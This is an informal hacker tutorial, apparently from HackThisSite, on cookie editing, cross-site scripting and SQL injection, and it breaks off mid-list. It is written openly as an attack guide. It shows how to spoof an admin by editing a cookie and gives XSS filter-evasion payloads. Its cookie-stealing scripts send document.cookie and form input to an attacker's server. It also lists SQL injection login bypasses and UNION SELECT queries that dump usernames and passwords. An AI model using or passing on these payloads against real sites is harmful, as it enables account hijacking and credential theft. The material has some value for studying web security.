"When a well-packaged web of lies has been sold gradually to the masses over generations, the truth will seem utterly preposterous and its speaker a raving lunatic." --Dresden James
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
by MeFakon
mefakon@su1d.net
~Introduction~
In this article I will be explaining all about XSS and more. In this
article I hope to teach you
what is XSS, why use XSS, how to use XSS. Once you learn that you will
need to get creative since
most people block simple XSS holes, but what they forget to do is
block more then one string of XSS,
and special security in php used to secure XSS, instead they use there
own. Also I will be teaching
not just XSS, but all about web security.
XXXXXXXXXXXXXXXXXXXXX
X Table OF Contents X
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXX
X Cookie Editing X
X XSS X
X SQL Injection X
XXXXXXXXXXXXXXXXXXXX
~What Is a Cookie~
A cookie is a sensetive piece of data. You see once you go to a site
and sign up a cookie is set to remember you. A cookie just holds data
that the site can check that you have and see if youve been there
before, if you have then it checks to see if the user and password are
correct
then logs you in. Picture your at a night club and you buy a ticket
and they give you a band. So you can go in and out (so you dont have
to rebuy
a tickey) Cookies go much farther then that as you can see. Night
Clubs remember you for one night. Cookies can remember you for ever.
~Alerting & Spoofing~
So you know what a cookie is... now how to you see them? Actually
cookie editing is one of the most simpleist method. You see as long as
you have
a browser you can view and edit cookies, just with basic JavaScript
(JS) skills. Load up your browser and go to the site... login... now
type
java<b></b>script:alert(document.cookie) Now you should see a user and
password (which is yours) If you don't thats ok! Most sites now a days
don't use cookies... but use sessions... Sorry sessions can't be
edited (they can) but not like cookies, once you edit a cookie you can
spoof
yourself (username and password) Now let's begin to spoof... Ok say
you alerted the cookie and saw something like this...
strusername=MeFakon;strpassword=skdfjkljfrj
Now say you know 'bitch' is a admin and you don't know his password...
due to weak security you don't need a password
java<b></b>script:void(document.cookie="strusername=bitch") Now type
java<b></b>script:alert(document.cookie) !!! Heh welcome bitch ;)'
That's pretty much all to Cookie Editing...
~What Is XSS~
XSS, or CSS, whatever you perfer to call it, XSS (CSS) stands for
Cross Site Scripting. Basically that means you inject script
any kind, to make it do whatever you want... Depends what you inject
will depend on the outcome. With XSS you can also steal input.
Such as user names passwords and cookies. This will all be discussed
so will many examples and this article should help you get creative
with XSS.
~Why Use XSS~
What a question. With XSS you can execute any type of script on the
client and the server. XSS
isn't just executing script, but also stealing input. input as in
<input name="name" type="name"> You setup XSS
to grab the input and post it on your site in a secret file! This
isn't all that XSS can do. Xss can also steal cookies.
Cookies hold valuable Information such as user / passwords etc...
~Let's Begin..~
I assume you know html, and java<b></b>script, php knowledge is helpful but
not nessicary. Let's start by looking at this php script
XSS - Cross Site Scripting
<html>
<body>
<form action="" method="GET">
<!-- Now I used 'GET Method because it's easier to pratctice when
exploiting. -->
Script: <input name="name" type="name">
<input type="submit" value="submit">
</form>
</body>
</html>
Ok, we should all know what this does... This is oddly a rare script,
no one has this on their site (atleast not what ive seen)
but its good for beginners to understand it... now heres whatd I put
in that box...
MeFakon
"Hello MeFakon!"
is what it would say w/ out quotes ofcourse... If you ever see
anything similar to this your in luck. Watch. Now I type...
<script>alert(document.cookie)</script>
Now it would alert document.cookie (which might be blank)
!!! It's vulnerable to XSS!!!
Ok now that we know very little about XSS, Let's understand it...
First The script all it does is takes your input then pastes it
hmmm... that means we can past anything. So? Wait... anything... well
we can inject any client language, but not server languages.
Eh.. whats a client and server language you ask?? Ok... basically a
client language is a language built into your client, I.E. JavaScript,
html, VBScript, etc...
A server language on teh other hand is not built into your client...
It's built into the server... I.E. php, asp, etc...
There are ways to inject php, which I'll explain later. Now how can
this be helpful? Injecting JavaScript? Simple. Picture it as this your
coding a site... you have everything on there. So it's your site you
can use all the JS (java<b></b>script) you want...
So can anyone else. Basically XSS or CSS allows you to make the site
run any script you want.
Let's use a more complex example!
Say that you put in <script>alert(document.cookie)</script>
and it echos this...
scriptalert(document.cookie)/script
or even might echo...
scriptalertdocument.cookie/script
well that makes it more tougher to exploit... or does it? You see
there are ways to counter XSS and this is one way...
but this way is one of the worst ways to counter XSS... you see all it
does is replace <> with " "
Let's exploit that...
<<script>>alert(document.cookie)<</script>>
your output will alert document.cookie...
Now, to be even trickyer...
<<script>>alert((document.cookie))<<//script>>
they might replace all that, or just <> so if one doesnt work the
other will, now if you see... scriptalertdocument.cookie/script still
<<<script>>>alert(document.cookie)<<</script>>>
they might replace two to trick you... or they might replace certain
words to trick you... try to exploit this on your own...
You type <script>alert(document.cookie)</script> and teh output looks like...
srplert(document.cookie)srp
look what it's replacing, and notice it didnt replace anything in
document.cookie why? Well, they never know what you'll alert or what
ever you do.. so they guess and if they stop the <> and script part
they got you
unless you know how to exploit it like this...
It's all JUST replacing!!! Now let's get more advanced! Say theres a
big field to right a letter then they echo the letter and then saying
"Sent" (realistic eh?)
Ok, this time they still use replacing, but more advanced way by
looking in the whole string! example...
<script>alert(document.cookie)</script>
Output will be...
scriptalert(document.cookie)script
Ok, now your saying, Hey! I know what to do... Ok, im sure you do so
let's do it your way
<<script>>alert(document.cookie)<</script>>
Output: scriptalert(document.cookie)script Ok, now your probably
gonna keep adding more <> well good luck
it's usless... they replace ANY <> doesnt matter how much you have...
did I say any? excuse me, any <> if they contain code.
Use this example...
Well look at that... It just doesnt replace <> it replaces code... so
even if you have code on one line w/ no <> it still replaces it, that
why we use this... let's say there even more advanced and replace any
type of code even alert !!! wow strict bastards... oh well... time to
sploit
<
s
c
r
i
p
t
>
a
l
e
r
t
(
d
o
c
u
m
e
n
t
.
c
o
o
k
i
e
)
<
/
s
c
r
i
p
t
/
>
Wow, well that should work... but if they still replace < which they
will not, you can always add two << >> (and you can replace
document.cookie with anything...)
Theres tons more I can go into in replacing, but i tought you all you
need to know in replacing now its up to you to use your creativity!
Now let me get a little more into other XSS methods... Ok, now we have
been discussing client side XSS, let's discuss server side XSS...
First let me explain
the diffrence between them both... Client side as you may / or may not
no is xss viewd from your browser from languages such as JavaScript
(JS) VBScript (VBS) etc...
Server side XSS is XSS through the server from languages such as php,
asp, etc... client side is viewd from the browser, server side is
viewed from the server...
We know how to do Client Side, to do Server Side we must inject script
into the server.... To do this we have to find a script to exploit on
the site (just like any XSS) but
this script will save your XSS into the server... So, say that you
post news on a site... Instead of news we post... XSS ;) Why should we
post JavaScript... Why shouldnt we post php? but first
let me show you a mixture...
document.forms(0).action ="http://myserver/myscript.php
This can be a mixture of Server side or Client side, doesnt matter...
so you script will just copy what ever they put in that form and save
it to a *.txt file on ur site!
Now say you sign up for a site and you make your avantar...
document.images(0).src="http://myserver/cookie.php"+document.cookie
Or if you have a box to put the link to the custom avantar you may put...
java<b></b>script:location.href="http://myserver/cookie.php"+document.cookie
This will steal the cookie of the user that views ur profile... or
whever ever your avantar is located... This is foreverything not just
avantars that was just a example
Ok also sometimes a site will echo your UserAgent and Referer... Now
lets try some XSS ;) Launch DOS Or bash w/e you use
telnet example.com
GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
User-Agent: <script>alert(document.cookie)</script>
Referer: <script>alert(document.cookie)</script>
~What Is SQL Injection~
SQL injection... One of the most security prob in WebSites. Now what
is SQL Injection?? Simple. SQL injections is well, injecting SQL. Now
finding SQL holes in a diffrent level
ok lets say you have a login prompt like this...
Ok, there is a XSS hole here, but were not worried about that, there
is no way you can guess or crack this password. So.. What do we do?
SQL Injection!
For the simplest attack put in ' for user and password yes JUST ' ...
Now you should get a error if there is absolutley NO protection If you
get a error it's vulnerable to the most insecure injection!
Now so what you have a error, a error is pointless unless you know how
to exploit it! So im gonna give you a list of Injections you can use
if you recive a error for '
'='
'OR 1=1--
'OR a=a--
'OR'
Now These injections will hardley ever work since people add security,
but heres a list of injections that most people aren't secured for!
~
Now Let me explain the UNION ALL SELECT statement this basically
selects a table then a column in the database...
If selected it shows a list of diffrent things, depends on what column
you selected... I.E.
UNION ALL SELECT username,password FROM users
Now this will work (sometimes) but if it doesnt try...
UNION ALL SELECT username,password FROM users WHERE username='OR "='
AND password='OR "='
You may replace 'OR "=' with any injection their vulnerable to... Now
how will you know well first how do you know the table name? (users)
Well you find a SQL hole (another one) that gives you an error and the
error will include the table name.
Once you find the hole and get the table you do just what I did but
replace 'OR "=' with the injection you used to get the table name.
Now sometimes if your trying to SELECT something theres tons of tables
you have to select all the tables, which takes guessing... example
say theres 20 tables called diffrent names, and your just trying to
SELECT a list of ip's try this...
UNION ALL SELECT
ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
WHERE ip='OR''="
Now have you ever seen this... (im sure you have)
http://example.com/index.php?article=34
Ok, that'd would view article 34... hmm... Lets replace 34 with '
http://example.com/index.php?article='
Now, remember I said that most people aren't vulnerable to ' thats
just way to insecure, well when I said that I meant for stuff like
logins... Well, most people are vulnerable to this
and if they are not you can always try diffrent injections. Here are
some examples...
HackThisSite is the collective work of the HackThisSite staff, licensed under a CC BY-NC license.
We ask that you inform us upon sharing or distributing.
